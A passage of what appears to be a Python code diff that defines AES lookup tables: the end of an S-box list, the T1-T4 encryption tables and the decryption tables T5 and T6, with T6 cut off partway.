0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d] + + # Transformations for encryption + T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a] + T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616] + T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16] + T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c] + + # Transformations for decryption + T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742] + T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 